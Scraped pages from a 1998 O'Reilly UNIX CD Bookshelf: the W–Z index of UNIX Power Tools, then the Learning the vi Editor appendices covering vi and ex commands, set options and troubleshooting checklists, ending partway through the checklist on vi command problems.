matching dot files : 15.5. Matching All "Dot Files" with Wildcards
passing to programs : 1.18. Who Handles Wildcards?
in pathnames
15.1. File Naming Wildcards
15.6. Maybe You Shouldn't Use Wildcards in Pathnames
for regular expressions : (see regular expressions)
regular expression versus : 26.2. Don't Confuse Regular Expressions with Wildcards
set command using : 44.19. The Bourne Shell set Command
for special filename characters : 23.12. Using Wildcards to Delete Files with Strange Names
tar archives and : 20.9. When a Program Doesn't Understand Wildcards
window sessions
unlocking : 42.2. Fixing a Hung Terminal or Job
window variable
for setting screen size : 42.5. Checklist: Screen Size Messed Up?
windows
checking height and width : 42.6.2. Screen Width and Height: screensize
running software written for ASCII terminals : 41.8. ptys and Window Systems
testing for exactly 80 columns : 42.6.1. Single Line Screen Width: 80cols
testing long-line wrapping : 42.6.3. Set Width, Test Line Wrapping: longlines
with : (see also under specific filename (at first
word lists
arrays compared to : 47.5. Using C Shell Arrays
in C shells : 47.5. Using C Shell Arrays
variables set to : 46.7. Quoting and Command-Line Parameters
word vectors : 8.12. Which One Will the C Shell Use?
word-erase character : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
wordfreq script
29.7. Count How Many Times Each Word Is Used
52.4. Quick Descriptions of What's on the Disc
wordlists : (see dictionary files)
words
counting
29.6. Counting Lines, Words, and Characters: wc
29.7. Count How Many Times Each Word Is Used
doubled : 29.8. Find a a Doubled Word
extracting : 29.10. Just the Words, Please
lists of : (see word lists)
searching multiple files for : 17.21. lookfor: Which File Has that Word?
spell checking : (see spell checking)
World Wide Web, described : 1.33. UNIX Networking and Communications
wraparound : 41.11. How termcap and terminfo Describe Terminals
write( ) : 20.6. Writing a Tape Drive on a Remote Machine
write command (ex) : 33.4. Useful ex Commands
write permission : 22.2. Tutorial on File and Directory Permissions
absence of : (see read-only files)
modifying without : 22.11. A Loophole: Modifying Files Without Write Access
sticky bit and : 22.6. Protecting Files with the Sticky Bit
write utility : 1.33. UNIX Networking and Communications
writing
13.12. Writing to Multiple Terminals for Demonstrations
(see also output)
ww function : 29.8. Find a a Doubled Word
WYSIWYG programs : 43.12.4. WYSIWYG Document Processors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

X Consortium : 1.31. The X Window System
X terminals : 1.31. The X Window System
X Window System
1.31. The X Window System
2.12. Automatic Setups for Different Terminals
x-on/x-off flow control, Emacs and : 32.12. Getting Around Emacs Flow Control Problems
xargs command
9.20. Too Many Files for the Command Line
52.4. Quick Descriptions of What's on the Disc
-0 option : 9.22. xargs: Problems with Spaces and Newlines
find command and : 17.2. Delving Through a Deep Directory Tree
with grep command : 17.20. grepping a Directory Tree (and a Gotcha)
xargs program : 52.4. Quick Descriptions of What's on the Disc
Xenix UNIX man page categories : 50.1. UNIX Online Documentation
xenl (terminfo) capability : 41.11. How termcap and terminfo Describe Terminals
xgrep script
26.6. Just What Does a Regular Expression Match?
52.4. Quick Descriptions of What's on the Disc
xn (termcap) capability : 41.11. How termcap and terminfo Describe Terminals
XOFF character : 41.2.4. Flow Control (We Hope)
XON/XOFF flow control : 41.2.4. Flow Control (We Hope)
xtail program : 52.4. Quick Descriptions of What's on the Disc
Xtail script : 25.18. Watching Several Files Grow
xterm window : 1.31. The X Window System
starting : 38.3. Managing Processes: Overall Concepts

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

yank buffers
30.5. Edits Between Files
30.7. Using Buffers to Move or Copy Text
30.8. Get Back What You Deleted with Numbered Buffers
yes command
23.4. Answer "Yes" or "No" Forever with yes
51.11. Making an Arbitrary-Size File for Testing
52.4. Quick Descriptions of What's on the Disc
"you don't exist. Go away." error message : 50.12. Common UNIX Error Messages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

.Z filename extension : 1.17. Filename Extensions
.z filename extension : 1.17. Filename Extensions
zap script
38.13. Interactively Kill Processes Matching a Pattern
52.4. Quick Descriptions of What's on the Disc
zed script
24.11. Edit Compressed Files with zvi, zex, and zed
52.4. Quick Descriptions of What's on the Disc
zeros in /dev/zero file : 13.14. What Can You Do with an Empty File?
zex script
24.11. Edit Compressed Files with zvi, zex, and zed
52.4. Quick Descriptions of What's on the Disc
zless script : 52.4. Quick Descriptions of What's on the Disc
zloop script
24.10. zloop: Run a Command on Compressed Files
52.4. Quick Descriptions of What's on the Disc
zmore script
25.5. Page Through Compressed, RCS, Unprintable Files
52.4. Quick Descriptions of What's on the Disc
zombies
38.10. Destroying Processes with kill
38.16. Why You Can't Kill a Zombie
looking for children of : 38.16. Why You Can't Kill a Zombie
zpg script : 52.4. Quick Descriptions of What's on the Disc
examples
44.12. Trapping Exits Caused by Interrupts
44.15.1. With the $@"
for loops in : 44.16. Handling Command-Line Arguments with a for Loop
parameters for : 44.15.1. With the $@"
zvi script
24.11. Edit Compressed Files with zvi, zex, and zed
52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] Quick Reference

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 7.5 Editing Program Source Code Appendix A Next: A.2 Editing Commands

A. Quick Reference

Contents:
Movement Commands
Editing Commands
Exit Commands
Command Line Options
Other ex Commands

This appendix lists vi commands and ex commands according to their use.

A.1 Movement Commands

Character |
h, j, k, l | Left, down, up, right ( <- , -v , [image] , -> )
Text |
w, W, b, B | Forward, backward by word
e, E | End of word
), ( | Beginning of next, previous sentence
}, { | Beginning of next, previous paragraph
]], [[ | Beginning of next, previous section
Lines |
0, $ | First, last position of current line
^ | First character of current line (ignore spaces)
+, - | First character of next, previous line
n| | Column n of current line
H | Top line of screen
M | Middle line of screen
L | Last line of screen
nH | n (number) of lines after top line
nL | n (number) of lines before last line
Screens |
[CTRL-F], [CTRL-B] | Scroll forward, backward one screen
[CTRL-D] [CTRL-U] | Scroll down, up one-half screen
[CTRL-E] [CTRL-Y] | Show one more line at bottom, top of window
z [RETURN] | Reposition line with cursor: to top of screen
z. | Reposition line with cursor: to middle of screen
z- | Reposition line with cursor: to bottom of screen
[CTRL-L] [CTRL-R] | Redraw screen (without scrolling)
Searches |
/pattern | Search forward for pattern
?pattern | Search backward for pattern
n, N | Repeat last search in same, opposite direction
/, ? | Repeat previous search forward, backward
fx | Search forward for character x in current line
Fx | Search backward for character x in current line
tx | Search forward for character before x in current line
Tx | Search backward for character after x in current line
; | Repeat previous current-line search
' | Repeat previous current-line search in opposite direction
Line number |
[CTRL-G] | Display current line number
nG | Move to line number n
G | Move to last line in file
:n | Move to line number n
Marking position |
mx | Mark current position as x
`x | Move cursor to x
`` | Return to previous mark or context
'x | Move to beginning of line containing mark x
'' | Return to beginning of line containing previous mark

Previous: 7.5 Editing Program Source Code | Learning the vi Editor | Next: A.2 Editing Commands
7.5 Editing Program Source Code | Book Index | A.2 Editing Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.2 Editing Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: A.1 Movement Commands Appendix A
Quick Reference 		Next: A.3 Exit Commands

A.2 Editing Commands

Insert |
i, a | Insert text before, after cursor
I, A | Insert text at beginning, end of line
o, O | Open new line for text below, above cursor
Change |
r | Change character
cw | Change word
cc | Change current line
C | Change to end of line
R | Type over characters
s | Delete character and substitute text
S | Delete current line and substitute text
Delete, move |
x | Delete character
X | Delete character before cursor
dw | Delete word
dd | Delete current line
D | Delete to end of line
p, P | Put deleted text after, before cursor
"np | Put text from delete buffer number n after cursor (for last nine deletions)
Yank |
yw | Yank (copy) word
yy | Yank current line
"ayy | Yank current line into named buffer a
p, P | Put yanked text after, before cursor
"aP | Put text from buffer a before cursor
Other commands |
. | Repeat last edit command
u, U | Undo last edit; restore current line
J | Join two lines
ex edit commands |
:d | Delete lines
:m | Move lines
:co or :t | Copy lines
:.,$d | Delete from current line to end of file
:30,60m0 | Move lines 30 through 60 to top of file
:.,/pattern/co$ | Copy from current line through line containing pattern to end of file

Previous: A.1 Movement Commands | Learning the vi Editor | Next: A.3 Exit Commands
A.1 Movement Commands | Book Index | A.3 Exit Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.3 Exit Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: A.2 Editing Commands Appendix A
Quick Reference 		Next: A.4 Command Line Options

A.3 Exit Commands

ZZ | Write (save) and quit file
:x | Write (save) and quit file
:wq | Write (save) and quit file
:w | Write (save) file
:w! | Write (save) file (overriding protection)
:30,60w newfile | Write from line 30 through line 60 as newfile
:30,60w>> file | Write from line 30 through line 60 and append to file
:w %.new | Write current buffer named file as file.new
:q | Quit file
:q! | Quit file (overriding protection)
Q | Quit vi and invoke ex
:e file2 | Edit file2 without leaving vi
:n | Edit next file
:e! | Return to version of current file at time of last write (save)
:e# | Edit alternate file
% | Current filename
# | Alternate filename

Previous: A.2 Editing Commands | Learning the vi Editor | Next: A.4 Command Line Options
A.2 Editing Commands | Book Index | A.4 Command Line Options
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.4 Command Line Options

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: A.3 Exit Commands Appendix A
Quick Reference 		Next: A.5 Other ex Commands

A.4 Command Line Options

vi file | Invoke vi editor on file
vi file1 file2 | Invoke vi editor on files sequentially
view file | Invoke vi editor on file in read-only mode
vi -R file | Invoke vi editor on file in read-only mode
vi -r file | Recover file and recent edits after system crash
vi + file | Open file at last line
vi +n file | Open file directly at line number n
vi +/pattern file | Open file directly at pattern
ex file | Invoke ex editor on file from UNIX

Previous: A.3 Exit Commands | Learning the vi Editor | Next: A.5 Other ex Commands
A.3 Exit Commands | Book Index | A.5 Other ex Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.5 Other ex Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: A.4 Command Line Options Appendix A
Quick Reference 		Next: B. Setting Environment Options

A.5 Other ex Commands

Abbreviations[1] |
:map x sequence | Define keystroke x as a command sequence
:map! x sequence | Define x as command sequence for insert mode
:unmap x | Disable the map x
:unmap! x | Disable insert mode map x
:ababbr phrase | Abbreviate phrase as abbr; when abbr is typed in insert mode, it expands to full words or phrases
:unab abbr | Disable abbreviation
Customizing environment: [1] |
:set option | Activate option
:set option=value | Assign value to option
:set nooption | Deactivate option
:set | Display options set by user
:set all | Display list of all current options, both default and those set by the user
:set option? | Display value of option
: | Invoke ex from vi editor
:vi | Invoke vi editor from ex
:sh | Invoke shell
^D | Return to editor from shell
:! command | Give UNIX command
:r newfile | Read contents of newfile into current file
:r !command | Read output of UNIX command into current file

[1] In .exrc files, omit colon at the start of ex commands.

Previous: A.4 Command Line Options | Learning the vi Editor | Next: B. Setting Environment Options
A.4 Command Line Options | Book Index | B. Setting Environment Options
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] Setting Environment Options

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: A.5 Other ex Commands Appendix B Next: C. ex commands

B. Setting Environment Options

The following table contains brief descriptions of all set command options. In the first column, options are listed in alphabetical order; if the option can be abbreviated, that abbreviation is shown in parentheses on the line below. The second column shows the default setting that vi uses unless you issue an explicit set command (either manually or in the .exrc file). The last column describes what the option does, when enabled.

Table B.1: Set Commands
Option | Default | Description
autoindent (ai) | noai | In insert mode, indents each line to the same level as the line above or below. Use with shiftwidth option.
autoprint (ap) | ap | Displays changes after each editor command. (For global replacement, displays last replacement.)
autowrite (aw) | noaw | Automatically writes (saves) file if changed before opening another file with :n or before giving UNIX command with :!.
beautify (bf) | nobf | Ignores all control characters during input (except tab, newline, or formfeed).
directory (dir) | /tmp | Names directory in which ex stores buffer files. (Directory must be writable.)
edcompatible | noed-compatible | Uses ed-like features on substitute commands.
errorbells (eb) | errorbells | Sounds bell when an error occurs.
exrc (ex) | noexrc | Allows the execution of .exrc files that reside outside the user's home directory. (System V only.)
hardtabs (ht) | =8 | Defines boundaries for terminal hardware tabs.
ignorecase (ic) | noic | Disregards case during a search.
lisp | nolisp | Inserts indents in appropriate lisp format. ( ), { }, [[, and ]] are modified to have meaning for lisp.
list | nolist | Prints tabs as ^I; marks ends of lines with $. (Use list to tell if end character is a tab or a space.)
magic | magic | Wildcard characters . (dot), * (asterisk), and [] (brackets) have special meaning in patterns.
mesg | mesg | Permits system messages to display on terminal while editing in vi.
number (nu) | nonu | Displays line numbers on left of screen during editing session.
open | open | Allows entry to open or visual mode from ex.
optimize (opt) | noopt | Abolishes carriage returns at the end of lines when printing multiple lines, speeds output on dumb terminals when printing lines with leading white space (blanks or tabs).
paragraphs (para) | =IPLPPPQP LIpplpipbp | Defines paragraph delimiters for movement by { or }. The pairs of characters in the value are the names of nroff/troff macros that begin paragraphs.
prompt | prompt | Displays the ex prompt (:) when vi's Q command is given.
readonly (ro) | noro | Any writes (saves) of a file will fail unless you use ! after the write (works with w, ZZ, or autowrite).
redraw (re) | noredraw | Terminal redraws screen whenever edits are made (in other words, insert mode pushes over existing characters, and deleted lines immediately close up). Default depends on line speed and terminal type. noredraw is useful at slow speeds on a dumb terminal: deleted lines show up as @, and inserted text appears to overwrite existing text until you press [ESC].
remap | remap | Allows nested map sequences.
report | =5 | Displays a message on the prompt line whenever you make an edit that affects at least a certain number of lines. For example, 6dd reports the message "6 lines deleted."
scroll | =[1/2 window] | Amount of screen to scroll.
sections (sect) | =SHNHH HU | Defines section delimiters for [[ ]] movement. The pairs of characters in the value are the names of nroff/troff macros that begin sections.
shell (sh) | =/bin/sh | Pathname of shell used for shell escape (:!) and shell command (:sh). Default value is derived from shell environment, which varies on different systems.
shiftwidth (sw) | =8 | Defines number of spaces in backward (^D) tabs when using the autoindent option.
showmatch (sm) | nosm | In vi, when ) or } is entered, cursor moves briefly to matching ( or {. (If match is not on the screen, rings the error message bell.) Very useful for programming.
showmode | noshowmode | In insert mode, displays a message on the prompt line indicating the type of insert you are making. For example, "Open Mode," or "Append Mode." (System V only.)
slowopen (slow) |  | Holds off display during insert. Default depends on line speed and terminal type.
tabstop (ts) | =8 | Defines number of spaces that a [TAB] indents during editing session. (Printer still uses system tab of 8.)
taglength (tl) | =0 | Defines number of characters that are significant for tags. Default (zero) means that all characters are significant.
tags | =tags /usr/lib/tags | Defines pathname of files containing tags (see the UNIX ctags command.) (By default, system searches /usr/lib/tags and the file tags in the current directory.)
term |  | Sets terminal type.
terse | noterse | Displays shorter error messages.
timeout (to) | timeout | Keyboard maps "time out" after 1 second.[1]
ttytype |  | Sets terminal type.
warn | warn | Displays the warning message, "No write since last change."
window (w) |  | Shows a certain number of lines of the file on the screen. Default depends on line speed and terminal type.
wrapscan (ws) | ws | Searches wrap around either end of file.
wrapmargin (wm) | =0 | Defines right margin. If greater than zero, automatically inserts carriage returns to break lines.
writeany (wa) | nowa | Allows saving to any file.

[1] This option is rarely needed. It's useful only with versions of vi that let you map a sequence to several keys (for example, :map zzz 3dw). If you set notimeout, you have unlimited time to type the command zzz, instead of the one second you normally have.

Previous: A.5 Other ex Commands | Learning the vi Editor | Next: C. ex commands
A.5 Other ex Commands | Book Index | C. ex commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] ex commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: B. Setting Environment Options Appendix C Next: C.2 Alphabetical List of Commands

C. ex commands

Contents:
Command Syntax
Alphabetical List of Commands

This appendix presents an alphabetical list of ex commands, but first, it describes the syntax of ex commands.

C.1 Command Syntax

To enter an ex command from vi, use this form:

:[address]command[options]

address is the line number or range of lines that are the object of command. If no address is given, the current line is the object of the command.

C.1.1 Address Symbols

In ex command syntax, address can be specified by any of the following:
1,$ | All lines in the file.
x,y | Lines x through y.
x;y | Lines x through y, with current line reset to x.
0 | Top of file.
. | Current line.
n | Absolute line number n.
$ | Last line.
% | All lines; same as 1,$.
x-n | n lines before x.
x+n | n lines after x.
-[n] | One or n lines previous.
+[n] | One or n lines ahead.
'x | Line marked with x.
'' | Previous mark.
/pat/ or ?pat? | Ahead or back to line matching pat.

C.1.2 Option Symbols

In ex command syntax, options might be any of the following:

!

Indicates a variant form of the command, overriding the normal behavior.

count

The number of times the command is to be repeated. count cannot precede the command, because a number preceding an ex command is treated as a line address. d3 deletes three lines beginning with the current line; 3d deletes line 3.

file

The name of a file that is affected by the command. % stands for current file; # stands for previous file.

Previous: B. Setting Environment Options | Learning the vi Editor | Next: C.2 Alphabetical List of Commands
B. Setting Environment Options | Book Index | C.2 Alphabetical List of Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.2 Alphabetical List of Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: C.1 Command Syntax Appendix C
ex commands 		Next: D. Problem Checklist

C.2 Alphabetical List of Commands

In this section, the full name of the ex command is listed as the keyword. To the right of each keyword is the syntax, using the shortest abbreviation possible for that command. A brief description follows the syntax.

abbrev

ab [string text]

Define string when typed to be translated into text. If string and text are not specified, list all current abbreviations.

append

[address] a[!]

text

.

Append text at specified address, or at present address if one is specified. Add a ! to switch the autoindent setting that will be used during input. That is, if autoindent was enabled, ! disables it.

args

ar

Print the members of the argument list, with the current argument printed within brackets ([ ]).

change

[address] c[!]

text

.

Replace the specified lines with text. Add a ! to switch the autoindent setting during input of text.

copy

[address] co destination

Copy the lines included in address to the specified destination address. The command t is a synonym for copy.

delete

[address] d [buffer]

Delete the lines included in address. If buffer is specified, save or append the text to the named buffer.

edit

e [!][+n] [filename]

Begin editing on filename. If no filename is given, bring in another copy of the current file. Add a ! to edit the new file even if the current file has not been saved since the last change. With the +n argument, begin editing on line n.

file

f[filename]

Change the name of the current file to filename, which is considered "not edited". If no filename is specified, print the current status of the file.

global

[address]g[!]/pattern/[commands]

Execute commands on all lines which contain pattern, or if address is specified, all lines within that range. If commands are not specified, print all such lines. Add a ! to execute commands on all lines not containing pattern.

insert

[address] i[!]

text

.

Insert text at line before the specified address, or at present address if none is specified. Add a ! to switch the autoindent setting during input of text.

join

[address] j[!] [count]

Place the text in the specified range on one line, with white space adjusted to provide two blank characters after a period (.), no blank characters after a ), and one blank character otherwise. Add a ! to prevent white space adjustment.

k

[address] k char

Mark the given address with char. Return later to the line with 'x.

list

[address] l [count]

Print the specified lines so that tabs display as ^I and the ends of lines display as $.

map

map char commands

Define a macro named char in visual mode with the specified sequence of commands. char is usually a single character, or the sequence #n, representing a function key on the keyboard.

mark

[address] ma char

Mark the specified line with char, a single lowercase letter. Return later to the line with 'x.

move

[address] m destination

Move the lines specified by address to the destination address.

next

n[!] [[+command] filelist]

Edit the next file from the command-line argument list. Use args to list these files. If filelist is provided, replace the current argument list with filelist and begin editing on the first file; if command is given (containing no spaces), execute command after editing the first such file.

number

[address] nu [count]

Print each line specified by address, preceded by its buffer line number. Use # as an alternate abbreviation for number.

open

[address] o [/pattern/]

Enter open mode (vi) at the lines specified by address, or at the lines matching pattern. Exit open mode with Q.

preserve

pre

Save the current editor buffer as though the system had crashed.

print

[address] p[ count]

Print the lines specified by address. P is another abbreviation.

put

[address] pu [char]

Restore previously deleted or yanked lines, from named buffer specified by char, to the line specified by address; if char is not specified, the last deleted or yanked text is restored.

quit

q[!]

Terminate current editing session. Use ! to discard changes made since the last save. If the editing session includes additional files in the argument list that have not yet been accessed, quit by typing q! or by typing q twice.

read

[address] r filename

Copy the text of filename at the specified address. If filename is not specified, the current filename is used.

read

[address] r ! command

Read in the output of command into the text after the line specified by address.

recover

rec [filename]

Recover filename from system save area.

rewind

rew[!]

Rewind argument list and begin editing the first file in the list. Add a ! to rewind even if the current file has not been saved since the last change.

set

se parameter parameter2

Set a value to an option with each parameter, or if no parameter is supplied, print all options that have been changed from their defaults. For toggle options, each parameter can be phrased as "option" other options can be assigned with the syntax, "option=value"

shell

sh

Create a new shell. Resume editing when the shell is terminated.

source

so filename

Read and execute commands from filename.

substitute

[address] s [/pattern/repl/][options]

Replace each instance of pattern on the specified lines with repl. If pattern and repl are omitted, repeat last substitution. An option of g substitutes all instances of pattern on the line. An option of c prompts for confirmation before each change.

t

[address]t destination

Copy the lines included in address to the specified destination address. t is an alias for copy.

tag

[address] ta tag

Switch the focus of editing to tag.

unabbreviate

una word

Remove word from the list of abbreviations.

undo

u

Reverse the changes made by the last editing command.

unmap

unm char

Remove char from the list of macros.

v

[address] v/ pattern/[commands]

Execute commands on all lines not containing pattern. If commands are not specified, print all such lines. v is equivalent to g!.

version

ve

Print the current version number of the editor and the date the editor was last changed.

visual

[address] vi [type] [count]

Enter visual mode at the line specified by address. Exit with Q. type can be one of -, ^, or \. (See the z command). count specifies an initial window size.

visual

vi [+n] [filename]

Begin editing on filename in visual mode.

write

[address] w[!] [[>>]filename]

Write lines specified by address to filename, or full contents of buffer if address is not specified. If filename is also omitted, save the contents of the buffer to the current filename. If >> filename is used, write contents to the end of the specified filename. Add a ! to force the editor to write over any current contents of filename.

write

[address] w !command

Write lines specified by address to command.

wq

wq[!]

Write and quit the file in one movement.

xit

x

Write file if changes have been made to the buffer since last write, then quit. x is equivalent to wq.

yank

[address] ya [char] [count]

Place lines specified by address in named buffer indicated by char, or if no char is specified place in general buffer.

z

[address z [type] [count]

Print a window of text with line specified by address at the top. type can be one of:

+

Place specified line at the top of the window (default).

-

Place specified line at bottom of the window.

.

Place specified line in the center of the window.

^

Print the previous window.

=

Place specified line in the center of the window and leave the current line at this line. count specifies the number of lines to be displayed.

countspecifies the number of lines to be displayed.

!

[address] !command

Execute command in a shell. If address is specified, apply the lines contained in address as standard input to command, and replace the lines with the output.

=

[address] =

Print the line number of the line indicated by address.

<>

[address] < [count]

or

[address] > [count]

Shift lines specified by address in specified direction. Only blanks and tabs are shifted in a left-shift (<).

address

address

Print the lines specified in address.

RETURN

RETURN

Print the next line in the file.

&

[address] & [options] [count]

Repeat the previous substitute command.

~

[address]~[count]

Replace the previous regular expression with the previous replacement pattern from a substitute command.

Previous: C.1 Command Syntax | Learning the vi Editor | Next: D. Problem Checklist
C.1 Command Syntax | Book Index | D. Problem Checklist
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix D] Problem Checklist

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: C.2 Alphabetical List of Commands Appendix D Next: D.2 Problems Saving Files

D. Problem Checklist

Contents:
Problems Opening Files
Problems Saving Files
Problems Getting to Visual Mode
Problems with vi Commands
Problems with Deletions

This appendix consolidates the problem checklists that are provided throughout the text. Here they are presented in one place for ease of reference.

D.1 Problems Opening Files

  • When you invoke vi, the message [open mode] appears.

    Your terminal type is probably incorrectly identified. Quit the editing session immediately by typing :q and ask your system administrator to provide an adequate terminal type setting.

  • You see one of the following messages:

    Visual needs addressable cursor or upline capability
Bad termcap entry
Termcap entry too long
terminal:  Unknown terminal type
Block device required
Not a typewriter

    Your terminal type is either undefined, or there's probably something wrong with your termcap or terminfo entry. Enter :q to quit. Then ask your system administrator to select a terminal type for your environment.

  • A [new file] message appears when you think a file already exists.

    You are probably in the wrong directory. Enter :q to quit. Then check to see that you are in the correct directory for that file (enter pwd at the UNIX prompt). If you are in the right directory, check the list of files in the directory (with ls) to see whether the file exists under a slightly different name.

  • You invoke vi, but you get a colon prompt (indicating that you're in ex line-editing mode).

    You probably typed an interrupt before vi could draw the screen. Enter vi by typing vi at the ex prompt (:).

  • One of the following messages appears:

    [Read only]
File is read only
Permission denied

    "Read only" means that you can only look at the file; you cannot save any changes you make. You may have invoked vi in view mode (with view or vi -R), or you do not have write permission for the file. See the section "Problems Saving Files" below.

  • One of the following messages appears:

    Bad file number
Block special file
Character special file
Directory
Executable
Non-ascii file
file non-ASCII

    The file you've called up to edit is not a regular text file.

  • When you type :q because of one of the above difficulties, the message appears:

    No write since last change (:quit! overrides).

    You have modified the file without realizing it. Type :q! to leave vi. Your changes from this session will not be saved in the file.

Previous: C.2 Alphabetical List of Commands | Learning the vi Editor | Next: D.2 Problems Saving Files
C.2 Alphabetical List of Commands | Book Index | D.2 Problems Saving Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix D] D.2 Problems Saving Files

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: D.1 Problems Opening Files Appendix D
Problem Checklist 		Next: D.3 Problems Getting to Visual Mode

D.2 Problems Saving Files

  • You try to write your file, but you get one of the following messages:

    File exists
File file exists - use w!
[Existing file]
File is read only

    Type :w! file to overwrite the existing file, or type :w! newfile to save the edited version in a new file.

  • You want to write a file, but you don't have write permission for it. You get the message "Permission denied."

    Use :w! newfile to write out the buffer into a new file. If you have write permission for the directory, you can use mv to replace the original version with your copy of it. If you don't have write permission for the directory, type :w! pathname/file to write out the buffer to a directory in which you do have write permission (such as your home directory).

  • You try to write your file, but you get a message telling you that the file system is full.

    Type :!df to see whether there's any space on another file system. If there is, choose a directory on that file system and write your file to it with :w! pathname. (Starting an ex command with an exclamation point gives you access to UNIX, and df is the UNIX command to check a disk's free space.)

  • The system puts you into open mode and tells you that the file system is full.

    The disk with vi's temporary files is filled up. Type :!ls /tmp to see whether there are any files you can remove to gain some disk space. If there are, create a temporary UNIX shell from which you can remove files or issue other UNIX commands. You can create a shell by typing :sh; type [CTRL-D] or exit to terminate the shell and return to vi. (On a Berkeley UNIX system, you can simply type [CTRL-Z] to suspend vi and return to the UNIX prompt; type % to return to vi.) Once you've freed up some space, write your file with :w!.

  • You try to write your file, but you get a message telling you that your disk quota has been reached.

    Try to force the system to save your buffer with the ex command :pre (short for :preserve). If that doesn't work, look for some files to remove. Use :sh (or [CTRL-Z] if you are using a Berkeley system) to move out of vi and remove files. Use [CTRL-D] (or %) to return to vi when you're done. Then write your file with :w!.

Previous: D.1 Problems Opening Files | Learning the vi Editor | Next: D.3 Problems Getting to Visual Mode
D.1 Problems Opening Files | Book Index | D.3 Problems Getting to Visual Mode
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix D] D.3 Problems Getting to Visual Mode

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: D.2 Problems Saving Files Appendix D
Problem Checklist 		Next: D.4 Problems with vi Commands

D.3 Problems Getting to Visual Mode

  • While editing in vi, you accidentally end up in the ex editor.

    A Q in the command mode of vi invokes ex. Any time you are in ex, the command :vi returns you to the vi editor.

Previous: D.2 Problems Saving Files | Learning the vi Editor | Next: D.4 Problems with vi Commands
D.2 Problems Saving Files | Book Index | D.4 Problems with vi Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix D] D.4 Problems with vi Commands

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: D.3 Problems Getting to Visual Mode Appendix D
Problem Checklist 		Next: D.5 Problems with Deletions

D.4 Problems with vi Commands

  • When you type commands, text jumps around on the screen and nothing works the way it's supposed to.

